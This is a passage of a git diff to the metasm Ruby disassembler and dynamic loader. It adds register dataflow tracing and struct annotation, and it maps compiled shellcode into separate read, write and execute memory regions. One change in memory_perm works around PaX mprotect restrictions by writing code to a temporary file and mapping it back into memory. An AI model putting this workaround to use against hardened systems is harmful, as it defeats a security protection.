Expression.parse(pp.feed!(o)).reduce : nil) # :default/:unknown ? add_xref(a, Xref.new(t, o, len)) - rescue + rescue puts "load: bad xref #{l.inspect} #$!" if $VERBOSE end } @@ -1104,12 +1289,354 @@ class Disassembler delta end + # dataflow method + # walks a function, starting at addr + # follows the usage of registers, computing the evolution from the value they had at start_addr + # whenever an instruction references the register (or anything derived from it), + # yield [di, used_register, reg_value, trace_state] where reg_value is the Expression holding the value of + # the register wrt the initial value at start_addr, and trace_state the value of all registers (reg_value + # not yet applied) + # reg_value may be nil if used_register is not modified by the function (eg call [eax]) + # the yield return value is propagated, unless it is nil/false + # init_state is a hash { :reg => initial value } + def trace_function_register(start_addr, init_state) + function_walk(start_addr, init_state) { |args| + trace_state = args.last + case args.first + when :di + di = args[2] + update = {} + get_fwdemu_binding(di).each { |r, v| + if v.kind_of?(Expression) and v.externals.find { |e| trace_state[e] } + # XXX may mix old (from trace) and current (from v) registers + newv = v.bind(trace_state) + update[r] = yield(di, r, newv, trace_state) + elsif r.kind_of?(ExpressionType) and rr = r.externals.find { |e| trace_state[e] } + # reg dereferenced in a write (eg mov [esp], 42) + next if update.has_key?(rr) # already yielded + if yield(di, rr, trace_state[rr], trace_state) == false + update[rr] = false + end + elsif trace_state[r] + # started on mov reg, foo + next if di.address == start_addr + update[r] = false + end + } + + # directly walk the instruction argument list for registers not appearing in the binding + @cpu.instr_args_memoryptr(di).each { |ind| + b = @cpu.instr_args_memoryptr_getbase(ind) + if b and b = b.symbolic and not update.has_key?(b) + yield(di, b, nil, trace_state) + end + } + @cpu.instr_args_regs(di).each { |r| + r = r.symbolic + if not update.has_key?(r) + yield(di, r, nil, trace_state) + end + } + + update.each { |r, v| + trace_state = trace_state.dup + if v + # cannot follow non-registers, or we would have to emulate every single + # instruction (try following [esp+4] across a __stdcall..) + trace_state[r] = v if r.kind_of?(::Symbol) + else + trace_state.delete r + end + } + when :subfunc + faddr = args[1] + f = @function[faddr] + f = @function[f.backtrace_binding[:thunk]] if f and f.backtrace_binding[:thunk] + if f + binding = f.backtrace_binding + if binding.empty? + backtrace_update_function_binding(faddr) + binding = f.backtrace_binding + end + # XXX fwdemu_binding ? + binding.each { |r, v| + if v.externals.find { |e| trace_state[e] } + if r.kind_of?(::Symbol) + trace_state = trace_state.dup + trace_state[r] = Expression[v.bind(trace_state)].reduce + end + elsif trace_state[r] + trace_state = trace_state.dup + trace_state.delete r + end + } + end + when :merge + # when merging paths, keep the smallest common state subset + # XXX may have unexplored froms + conflicts = args[2] + trace_state = trace_state.dup + conflicts.each { |addr, st| + trace_state.delete_if { |k, v| st[k] != v } + } + end + trace_state = false if trace_state.empty? + trace_state + } + end + + # define a register as a pointer to a structure + # rename all [reg+off] as [reg+struct.member] in current function + # also trace assignments of pointer members + def trace_update_reg_structptr(addr, reg, structname, structoff=0) + sname = soff = ctx = nil + expr_to_sname = lambda { |expr| + if not expr.kind_of?(Expression) or expr.op != :+ + sname = nil + next + end + + sname = expr.lexpr || expr.rexpr + soff = (expr.lexpr ? expr.rexpr : 0) + + if soff.kind_of?(Expression) + # ignore index in ptr array + if soff.op == :* and soff.lexpr == @cpu.size/8 + soff = 0 + elsif soff.rexpr.kind_of?(Expression) and soff.rexpr.op == :* and soff.rexpr.lexpr == @cpu.size/8 + soff = soff.lexpr + elsif soff.lexpr.kind_of?(Expression) and soff.lexpr.op == :* and soff.lexpr.lexpr == @cpu.size/8 + soff = soff.rexpr + end + elsif soff.kind_of?(::Symbol) + # array with 1 byte elements / pre-scaled idx? + if not ctx[soff] + soff = 0 + end + end + } + + lastdi = nil + trace_function_register(addr, reg => Expression[structname, :+, structoff]) { |di, r, val, trace| + + next if r.to_s =~ /flag/ # XXX maybe too ia32-specific? + + ctx = trace + @cpu.instr_args_memoryptr(di).each { |ind| + # find the structure dereference in di + b = @cpu.instr_args_memoryptr_getbase(ind) + b = b.symbolic if b + next unless trace[b] + imm = @cpu.instr_args_memoryptr_getoffset(ind) || 0 + + # check expr has the form 'traced_struct_reg + off' + expr_to_sname[trace[b] + imm] # Expr#+ calls Expr#reduce + next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) + next if not st = c_parser.toplevel.struct[sname] or not st.kind_of?(C::Union) + + # ignore lea esi, [esi+0] + next if soff == 0 and not di.backtrace_binding.find { |k, v| v-k != 0 } + + # TODO if trace[b] offset != 0, we had a lea reg, [struct+substruct_off], tweak str accordingly + + # resolve struct + off into struct.membername + str = st.name.dup + mb = st.expand_member_offset(c_parser, soff, str) + # patch di + imm = imm.rexpr if imm.kind_of?(Expression) and not imm.lexpr and imm.rexpr.kind_of?(ExpressionString) + imm = imm.expr if imm.kind_of?(ExpressionString) + @cpu.instr_args_memoryptr_setoffset(ind, ExpressionString.new(imm, str, :structoff)) + + # check if the type is an enum/bitfield, patch instruction immediates + trace_update_reg_structptr_arg_enum(di, ind, mb, str) if mb + } if lastdi != di.address + lastdi = di.address + + next Expression[structname, :+, structoff] if di.address == addr and r == reg + + # check if we need to trace 'r' further + val = val.reduce_rec if val.kind_of?(Expression) + val = Expression[val] if val.kind_of?(::String) + case val + when Expression + # only trace trivial structptr+off expressions + expr_to_sname[val] + if sname.kind_of?(::String) and soff.kind_of?(::Integer) + Expression[sname, :+, soff] + end + + when Indirection + # di is mov reg, [ptr+struct.offset] + # check if the target member is a pointer to a struct, if so, trace it + expr_to_sname[val.pointer.reduce] + + next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) + + if st = c_parser.toplevel.struct[sname] and st.kind_of?(C::Union) + pt = st.expand_member_offset(c_parser, soff, '') + pt = pt.untypedef if pt + if pt.kind_of?(C::Pointer) + tt = pt.type.untypedef + stars = '' + while tt.kind_of?(C::Pointer) + stars << '*' + tt = tt.type.untypedef + end + if tt.kind_of?(C::Union) and tt.name + Expression[tt.name + stars] + end + end + + elsif soff == 0 and sname[-1] == ?* + # XXX pointer to pointer to struct + # full C type support would be better, but harder to fit in an Expr + Expression[sname[0...-1]] + end + # in other cases, stop trace + end + } + end + + # found a special member of a struct, check if we can apply + # bitfield/enum name to other constants in the di + def trace_update_reg_structptr_arg_enum(di, ind, mb, str) + if ename = mb.has_attribute_var('enum') and enum = c_parser.toplevel.struct[ename] and enum.kind_of?(C::Enum) + # handle enums: struct moo { int __attribute__((enum(bla))) fld; }; + doit = lambda { |_di| + if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) + # handle enum values on tagged structs + if enum.members and name = enum.members.index(num_i) + num.lexpr = nil + num.op = :+ + num.rexpr = ExpressionString.new(Expression[num_i], name, :enum) + _di.add_comment "enum::#{ename}" if _di.address != di.address + end + end + } + + doit[di] + + # mov eax, [ptr+struct.enumfield] => trace eax + if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } + reg = reg.symbolic + trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| + next if r != reg and val != Expression[reg] + doit[_di] + val + } + end + + elsif mb.untypedef.kind_of?(C::Struct) + # handle bitfields + + byte_off = 0 + if str =~ /\+(\d+)$/ + # test byte [bitfield+1], 0x1 => test dword [bitfield], 0x100 + # XXX little-endian only + byte_off = $1.to_i + str[/\+\d+$/] = '' + end + cmt = str.split('.')[-2, 2].join('.') if str.count('.') > 1 + + doit = lambda { |_di, add| + if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) + # TODO handle ~num_i + num_left = num_i << add + s_or = [] + mb.untypedef.members.each { |mm| + if bo = mb.bitoffsetof(c_parser, mm) + boff, blen = bo + if mm.name && blen == 1 && ((num_left >> boff) & 1) > 0 + s_or << mm.name + num_left &= ~(1 << boff) + end + end + } + if s_or.first + if num_left != 0 + s_or << ('0x%X' % num_left) + end + s = s_or.join('|') + num.lexpr = nil + num.op = :+ + num.rexpr = ExpressionString.new(Expression[num_i], s, :bitfield) + _di.add_comment cmt if _di.address != di.address + end + end + } + + doit[di, byte_off*8] + + if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } + reg = reg.symbolic + trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| + if r.kind_of?(Expression) and r.op == :& + if r.lexpr == reg + # test al, 42 + doit[_di, byte_off*8] + elsif r.lexpr.kind_of?(Expression) and r.lexpr.op == :>> and r.lexpr.lexpr == reg + # test ah, 42 + doit[_di, byte_off*8+r.lexpr.rexpr] + end + end + next if r != reg and val != Expression[reg] + doit[_di, byte_off*8] + _di.address == di.address && r == reg ? Expression[0] : val + } + end + end + end + # change Expression display mode for current object o to display integers as char constants def toggle_expr_char(o) - return if not o.kind_of? Renderable + return if not o.kind_of?(Renderable) + tochars = lambda { |v| + if v.kind_of?(::Integer) + a = [] + vv = v.abs + a << (vv & 0xff) + vv >>= 8 + while vv > 0 + a << (vv & 0xff) + vv >>= 8 + end + if a.all? { |b| b < 0x7f } + s = a.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] + ExpressionString.new(v, (v > 0 ? "'#{s}'" : "-'#{s}'"), :char) + end + end + } o.each_expr { |e| - e.render_info ||= {} - e.render_info[:char] = e.render_info[:char] ? nil : @cpu.endianness + if e.kind_of?(Expression) + if nr = tochars[e.rexpr] + e.rexpr = nr + elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :char + e.rexpr = e.rexpr.expr + end + if nl = tochars[e.lexpr] + e.lexpr = nl + elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :char + e.lexpr = e.lexpr.expr + end + end + } + end + + def toggle_expr_dec(o) + return if not o.kind_of?(Renderable) + o.each_expr { |e| + if e.kind_of?(Expression) + if e.rexpr.kind_of?(::Integer) + e.rexpr = ExpressionString.new(Expression[e.rexpr], e.rexpr.to_s, :decimal) + elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :decimal + e.rexpr = e.rexpr.reduce + end + if e.lexpr.kind_of?(::Integer) + e.lexpr = ExpressionString.new(Expression[e.lexpr], e.lexpr.to_s, :decimal) + elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :decimal + e.lexpr = e.lexpr.reduce + end + end } end @@ -1118,6 +1645,7 @@ class Disassembler def toggle_expr_offset(o) return if not o.kind_of? Renderable o.each_expr { |e| + next unless e.kind_of?(Expression) if n = @prog_binding[e.lexpr] e.lexpr = n elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr) @@ -1133,6 +1661,15 @@ class Disassembler } end + # toggle all ExpressionStrings + def toggle_expr_str(o) + return if not o.kind_of?(Renderable) + o.each_expr { |e| + next unless e.kind_of?(ExpressionString) + e.hide_str = !e.hide_str + } + end + # call this function on a function entrypoint if the function is in fact a __noreturn # will cut the to_subfuncret of callers def fix_noreturn(o) @@ -1184,7 +1721,7 @@ class Disassembler # searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd def load_plugin(plugin_filename) if not File.exist?(plugin_filename) - if File.exist?(plugin_filename+'.rb') + if File.exist?(plugin_filename+'.rb') plugin_filename += '.rb' elsif defined? Metasmdir # try autocomplete @@ -1225,7 +1762,7 @@ class Disassembler if bd2.kind_of? DecodedInstruction bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2) end - + reduce = lambda { |e| Expression[Expression[e].reduce] } bd = {} @@ -1276,5 +1813,31 @@ class Disassembler bd end + + def gui_hilight_word_regexp(word) + @cpu.gui_hilight_word_regexp(word) + end + + # return a C::AllocCStruct from c_parser + # TODO handle program.class::Header.to_c_struct + def decode_c_struct(structname, addr) + if c_parser and edata = get_edata_at(addr) + c_parser.decode_c_struct(structname, edata.data, edata.ptr) + end + end + + def decode_c_ary(structname, addr, len) + if c_parser and edata = get_edata_at(addr) + c_parser.decode_c_ary(structname, len, edata.data, edata.ptr) + end + end + + # find the function containing addr, and find & rename stack vars in it + def name_local_vars(addr) + if @cpu.respond_to?(:name_local_vars) and faddr = find_function_start(addr) + @function[faddr] ||= DecodedFunction.new # XXX + @cpu.name_local_vars(self, faddr) + end + end end end diff --git a/lib/metasm/metasm/dynldr.rb b/lib/metasm/metasm/dynldr.rb index 38af7becc7..67ef531509 100644 --- a/lib/metasm/metasm/dynldr.rb +++ b/lib/metasm/metasm/dynldr.rb @@ -52,15 +52,17 @@ extern VALUE *rb_cObject __attribute__((import)); extern VALUE *rb_eRuntimeError __attribute__((import)); extern VALUE *rb_eArgError __attribute__((import)); -#define Qfalse ((VALUE)0) -#define Qtrue ((VALUE)2) -#define Qnil ((VALUE)4) - // allows generating a ruby1.9 dynldr.so from ruby1.8 #ifndef DYNLDR_RUBY_19 #define DYNLDR_RUBY_19 #{RUBY_VERSION >= '1.9' ? 1 : 0} #endif +#if #{RUBY_VERSION >= '2.0' ? 1 : 0} +// flonums. WHY? +// also breaks Qtrue/Qnil +#define rb_float_new rb_float_new_in_heap +#endif + #if DYNLDR_RUBY_19 #define T_STRING 0x05 #define T_ARRAY 0x07 @@ -163,7 +165,7 @@ static VALUE memory_write(VALUE self, VALUE addr, VALUE val) static VALUE memory_write_int(VALUE self, VALUE addr, VALUE val) { *(uintptr_t *)VAL2INT(addr) = VAL2INT(val); - return Qtrue; + return 1; } static VALUE str_ptr(VALUE self, VALUE str) @@ -200,7 +202,7 @@ static VALUE sym_addr(VALUE self, VALUE lib, VALUE func) if (TYPE(func) != T_STRING && TYPE(func) != T_FIXNUM) rb_raise(*rb_eArgError, "Invalid func"); - + if (TYPE(func) == T_FIXNUM) p = os_load_sym_ord(h, VAL2INT(func)); else @@ -224,7 +226,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) { if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 64) rb_raise(*rb_eArgError, "bad args"); - + uintptr_t flags_v = VAL2INT(flags); uintptr_t ptr_v = VAL2INT(ptr); unsigned i, argsz; @@ -241,7 +243,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) ret = do_invoke_stdcall(ptr_v, argsz, args_c); else ret = do_invoke(ptr_v, argsz, args_c); - + if (flags_v & 4) return rb_ull2inum((unsigned __int64)ret); else if (flags_v & 8) @@ -257,23 +259,27 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) // callback generated by callback_alloc // heavy stack magick at work here ! // TODO float args / float retval / ret __int64 -uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0) +uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0, uintptr_t arg_ecx __attribute__((register(ecx))), uintptr_t arg_edx __attribute__((register(edx)))) { uintptr_t *addr = &arg0; unsigned i, ret; - VALUE args = rb_ary_new2(8); + VALUE args = rb_ary_new2(10); + + // __fastcall callback args + ARY_PTR(args)[0] = INT2VAL(arg_ecx); + ARY_PTR(args)[1] = INT2VAL(arg_edx); // copy our args to a ruby-accessible buffer - for (i=0U ; i<8U ; ++i) + for (i=2U ; i<10U ; ++i) ARY_PTR(args)[i] = INT2VAL(*addr++); - RArray(args)->len = 8U; // len == 8, no need to ARY_LEN/EMBED stuff + RArray(args)->len = 10U; // len == 10, no need to ARY_LEN/EMBED stuff ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args); // dynldr.callback will give us the arity (in bytes) of the callback in args[0] // we just put the stack lifting offset in caller_id for the asm stub to use caller_id = VAL2INT(ARY_PTR(args)[0]); - + return VAL2INT(ret); } @@ -290,7 +296,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) { if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 16) rb_raise(*rb_eArgError, "bad args"); - + uintptr_t flags_v = VAL2INT(flags); uintptr_t ptr_v = VAL2INT(ptr); int i, argsz; @@ -312,7 +318,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) args_c[4], args_c[5], args_c[6], args_c[7], args_c[8], args_c[9], args_c[10], args_c[11], args_c[12], args_c[13], args_c[14], args_c[15]); - + if (flags_v & 8) return rb_float_new(fake_float()); @@ -379,8 +385,7 @@ static void *wstrcaseruby(short *s1, int len) { int i = 0; int match = 0; - - static char *want = "ruby"; // cant contain the same letter twice + char *want = "ruby"; // cant contain the same letter twice while (i < len) { if (want[match] == (s1[i] | 0x20)) { // downcase cmp @@ -474,11 +479,11 @@ int load_ruby_imports(uintptr_t rbaddr) if (rbaddr) ruby_module = find_ruby_module_mem(rbaddr); else - ruby_module = find_ruby_module_peb(); + ruby_module = find_ruby_module_peb(); if (!ruby_module) return 0; - + ptr = &ruby_import_table; table = (char*)ptr; @@ -494,7 +499,7 @@ int load_ruby_imports(uintptr_t rbaddr) #ifdef __x86_64__ #define DLL_PROCESS_ATTACH 1 -__stdcall int DllMain(void *handle, int reason, void *res) +int DllMain(void *handle, int reason, void *res) { if (reason == DLL_PROCESS_ATTACH) return load_ruby_imports(0); @@ -509,7 +514,7 @@ EOS do_invoke_fastcall: push ebp mov ebp, esp - + // load ecx/edx, fix arg/argcount mov eax, [ebp+16] mov ecx, [eax] @@ -627,7 +632,7 @@ EOS # save the shared library bin.encode_file(modulename, :lib) end - + def self.compile_binary_module_hack(bin) # this is a hack # we need the module to use ruby symbols @@ -765,7 +770,7 @@ EOS else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" end end - + # returns whether we run on linux or windows def self.host_arch case RUBY_PLATFORM @@ -788,16 +793,73 @@ EOS cp.parse(src) end - # compile a C fragment into a Shellcode, honors the host ABI + # compile a C fragment into a Shellcode_RWX, honors the host ABI def self.compile_c(src) # XXX could we reuse self.cp ? (for its macros etc) cp = C::Parser.new(host_exe.new(host_cpu)) cp.parse(src) - sc = Shellcode.new(host_cpu) + sc = Shellcode_RWX.new(host_cpu) asm = host_cpu.new_ccompiler(cp, sc).compile sc.assemble(asm) end + # maps a Shellcode_RWX in memory, fixup stdlib relocations + # returns the Shellcode_RWX, with the base_r/w/x initialized to the allocated memory + def self.sc_map_resolve(sc) + sc_map_resolve_addthunks(sc) + + sc.base_r = memory_alloc(sc.encoded_r.length) if sc.encoded_r.length > 0 + sc.base_w = memory_alloc(sc.encoded_w.length) if sc.encoded_w.length > 0 + sc.base_x = memory_alloc(sc.encoded_x.length) if sc.encoded_x.length > 0 + + locals = sc.encoded_r.export.keys | sc.encoded_w.export.keys | sc.encoded_x.export.keys + exts = sc.encoded_r.reloc_externals(locals) | sc.encoded_w.reloc_externals(locals) | sc.encoded_x.reloc_externals(locals) + bd = {} + exts.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise rescue raise "unknown symbol #{ext.inspect}" } + sc.fixup_check(bd) + + memory_write sc.base_r, sc.encoded_r.data if sc.encoded_r.length > 0 + memory_write sc.base_w, sc.encoded_w.data if sc.encoded_w.length > 0 + memory_write sc.base_x, sc.encoded_x.data if sc.encoded_x.length > 0 + + memory_perm sc.base_r, sc.encoded_r.length, 'r' if sc.encoded_r.length > 0 + memory_perm sc.base_w, sc.encoded_w.length, 'rw' if sc.encoded_w.length > 0 + memory_perm sc.base_x, sc.encoded_x.length, 'rx' if sc.encoded_x.length > 0 + + sc + end + + def self.sc_map_resolve_addthunks(sc) + case host_cpu.shortname + when 'x64' + # patch 'call moo' into 'call thunk; thunk: jmp qword [moo_ptr]' + # this is similar to ELF PLT section, allowing code to call + # into a library mapped more than 4G away + # XXX handles only 'call extern', not 'lea reg, extern' or anything else + # in this case, the linker will still raise an 'immediate overflow' + # during fixup_check in sc_map_resolve + [sc.encoded_r, sc.encoded_w, sc.encoded_x].each { |edata| + edata.reloc.dup.each { |off, rel| + # target only call extern / jmp.i32 extern + next if rel.type != :i32 + next if rel.target.op != :- + next if edata.export[rel.target.rexpr] != off+4 + next if edata.export[rel.target.lexpr] + opc = edata.data[off-1, 1].unpack('C')[0] + next if opc != 0xe8 and opc != 0xe9 + + thunk_sc = Shellcode.new(host_cpu).share_namespace(sc) + thunk = thunk_sc.assemble(< auto_cb) if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32 aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff] @@ -965,6 +1027,10 @@ EOS raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb rawargs = args.dup + if host_cpu.shortname == 'ia32' and (not cb[:proto_ori] or not cb[:proto_ori].has_attribute('fastcall')) + rawargs.shift + rawargs.shift + end ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : [] # run it @@ -995,6 +1061,7 @@ EOS # XXX val is an integer, how to decode Floats etc ? raw binary ptr ? def self.convert_c2rb(formal, val) formal = formal.type if formal.kind_of? C::Variable + val &= (1 << 8*cp.sizeof(formal))-1 if formal.integral? val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed? val = nil if formal.pointer? and val == 0 val @@ -1019,13 +1086,8 @@ EOS if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm } cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm } cp.toplevel.symbol.delete v.name if v - sc = compile_c(proto) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - # TODO fixup external calls - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' - ptr + sc = sc_map_resolve(compile_c(proto)) + sc.base_x elsif not v raise 'empty prototype' else @@ -1044,6 +1106,7 @@ EOS cb[:id] = id cb[:proc] = b cb[:proto] = proto + cb[:proto_ori] = ori cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall') cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall') # supercedes stdcall @@callback_table[id] = cb @@ -1058,29 +1121,34 @@ EOS # finds a free callback id, allocates a new page if needed def self.callback_find_id if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - cb_page = memory_alloc(4096) + page_size = 4096 + cb_page = memory_alloc(page_size) sc = Shellcode.new(host_cpu, cb_page) case sc.cpu.shortname when 'ia32' - addr = cb_page - nrcb = 128 # TODO should be 4096/5, but the parser/compiler is really too slow - nrcb.times { - @@callback_addrs << addr - sc.parse "call #{CALLBACK_TARGET}" - addr += 5 - } + asm = "call #{CALLBACK_TARGET}" when 'x64' - addr = cb_page - nrcb = 128 # same remark - nrcb.times { - @@callback_addrs << addr - sc.parse "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" - addr += 12 # XXX approximative.. - } + if (cb_page - CALLBACK_TARGET).abs >= 0x7fff_f000 + # cannot directly 'jmp CB_T' + asm = "1: mov rax, #{CALLBACK_TARGET} push rax lea rax, [rip-$_+1b] ret" + else + asm = "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" + end + else + raise 'Who are you?' end - sc.assemble - memory_write cb_page, sc.encode_string - memory_perm cb_page, 4096, 'rx' + + # fill the page with valid callbacks + loop do + off = sc.encoded.length + sc.assemble asm + break if sc.encoded.length > page_size + @@callback_addrs << (cb_page + off) + end + + memory_write cb_page, sc.encode_string[0, page_size] + memory_perm cb_page, page_size, 'rx' + raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] } end id @@ -1090,23 +1158,17 @@ EOS # returns the raw pointer to the code page # if given a block, run the block and then undefine all the C functions & free memory def self.new_func_c(src) - sc = compile_c(src) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' + sc = sc_map_resolve(compile_c(src)) + parse_c(src) # XXX the Shellcode parser may have defined stuff / interpreted C another way... defs = [] cp.toplevel.symbol.dup.each_value { |v| next if not v.kind_of? C::Variable cp.toplevel.symbol.delete v.name next if not v.type.kind_of? C::Function or not v.initializer - next if not off = sc.encoded.export[v.name] + next if not off = sc.encoded_x.export[v.name] rbname = c_func_name_to_rb(v.name) - new_caller_for(v, rbname, ptr+off) + new_caller_for(v, rbname, sc.base_x+off) defs << rbname } if block_given? @@ -1114,16 +1176,20 @@ EOS yield ensure defs.each { |d| class << self ; self ; end.send(:remove_method, d) } - memory_free ptr + memory_free sc.base_r if sc.base_r + memory_free sc.base_w if sc.base_w + memory_free sc.base_x if sc.base_x end else - ptr + sc.base_x end end # compile an asm sequence, callable with the ABI of the C prototype given # function name comes from the prototype - def self.new_func_asm(proto, asm) + # the shellcode is mapped in read-only memory unless selfmodifyingcode is true + # note that you can use a .data section for simple writable non-executable memory + def self.new_func_asm(proto, asm, selfmodifyingcode=false) proto += "\n;" old = cp.toplevel.symbol.keys parse_c(proto) @@ -1133,38 +1199,38 @@ EOS raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer cp.toplevel.symbol.delete f.name - sc = Shellcode.assemble(host_cpu, asm) - ptr = memory_alloc(sc.encoded.length) - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' + sc = Shellcode_RWX.assemble(host_cpu, asm) + sc = sc_map_resolve(sc) + if selfmodifyingcode + memory_perm sc.base_x, sc.encoded_x.length, 'rwx' + end rbname = c_func_name_to_rb(f.name) - new_caller_for(f, rbname, ptr) + new_caller_for(f, rbname, sc.base_x) if block_given? begin yield ensure class << self ; self ; end.send(:remove_method, rbname) - memory_free ptr + memory_free sc.base_r if sc.base_r + memory_free sc.base_w if sc.base_w + memory_free sc.base_x end else - ptr - end + sc.base_x end + end # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c def self.alloc_c_struct(structname, values={}) cp.alloc_c_struct(structname, values) - end + end # return a C::AllocCStruct mapped over the string (with optionnal offset) # str may be an EncodedData def self.decode_c_struct(structname, str, off=0) str = str.data if str.kind_of? EncodedData cp.decode_c_struct(structname, str, off) - end + end # allocate a C::AllocCStruct holding an Array of typename variables # if len is an int, it holds the ary length, or it can be an array of initialisers @@ -1234,69 +1300,70 @@ EOS when :windows new_api_c < PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ, 'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase] virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8)) end - - when :linux - - new_api_c < 0 and @memory_perm_wd ||= find_write_dir + # We are on a PaX-mprotected system. Try to use a file mapping to work aroud. + Dir.chdir(@memory_perm_wd) { + fname = 'tmp_mprot_%d_%x' % [Process.pid, addr] + data = memory_read(addr, len) + begin + File.open(fname, 'w') { |fd| fd.write data } + # reopen to ensure filesystem flush + rret = File.open(fname, 'r') { |fd| mmap(addr, len, p, MAP_FIXED|MAP_PRIVATE, fd.fileno, 0) } + raise 'hax' if data != memory_read(addr, len) + ret = 0 if rret == addr + ensure + File.unlink(fname) rescue nil + end + } + end + + ret end - + end end end diff --git a/lib/metasm/metasm/encode.rb b/lib/metasm/metasm/encode.rb index 438e4a054d..ef6fa74f7e 100644 --- a/lib/metasm/metasm/encode.rb +++ b/lib/metasm/metasm/encode.rb @@ -271,7 +271,16 @@ class Expression def encode(type, endianness, backtrace=nil) case val = reduce when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace) - else EncodedData.new([0].pack('C')*(INT_SIZE[type]/8), :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) + else + str = case INT_SIZE[type] + when 8; "\0" + when 16; "\0\0" + when 32; "\0\0\0\0" + when 64; "\0\0\0\0\0\0\0\0" + else [0].pack('C')*(INT_SIZE[type]/8) + end + str = str.force_encoding('BINARY') if str.respond_to?(:force_encoding) + EncodedData.new(str, :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) end end diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb index b43dc568c3..c273d51c55 100644 --- a/lib/metasm/metasm/exe_format/a_out.rb +++ b/lib/metasm/metasm/exe_format/a_out.rb @@ -58,7 +58,7 @@ class AOut < ExeFormat class Relocation < SerialStruct word :address bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, - 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy + 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8 fld_default :length, 4 end @@ -68,7 +68,7 @@ class AOut < ExeFormat bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab byte :other half :desc - word :value + word :value attr_accessor :name def decode(aout, strings=nil) @@ -93,6 +93,9 @@ class AOut < ExeFormat def encode_byte(w) Expression[w].encode(:u8 , @endianness) end def encode_half(w) Expression[w].encode(:u16, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end def initialize(cpu = nil) @endianness = cpu ? cpu.endianness : :little @@ -119,11 +122,11 @@ class AOut < ExeFormat @data = EncodedData.new << @encoded.read(@header.data) - textrel = @encoded.read @header.trsz - datarel = @encoded.read @header.drsz - syms = @encoded.read @header.syms - strings = @encoded.read # TODO + #textrel = @encoded.read @header.trsz 